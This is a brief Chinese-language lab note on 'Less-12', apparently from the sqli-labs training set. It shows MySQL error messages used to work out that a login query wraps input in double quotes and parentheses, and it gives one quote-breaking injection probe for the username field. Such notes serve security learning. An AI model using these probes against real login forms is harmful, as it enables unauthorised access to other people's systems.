Less-12

 当请求为admin admin 的时候 就会回显

其它的时候就会回显失败

尝试sql 注入

 发现不在有回显sql语句的包裹问题

sql报错的内容

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'adsmin") LIMIT 0,1' at line 1

判断注入的对象是括号

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '" ") and password=("adsmin") LIMIT 0,1' at line 1</br>

注入语句:

uname=adm"in" &passwd=adsmin&submit=Submit
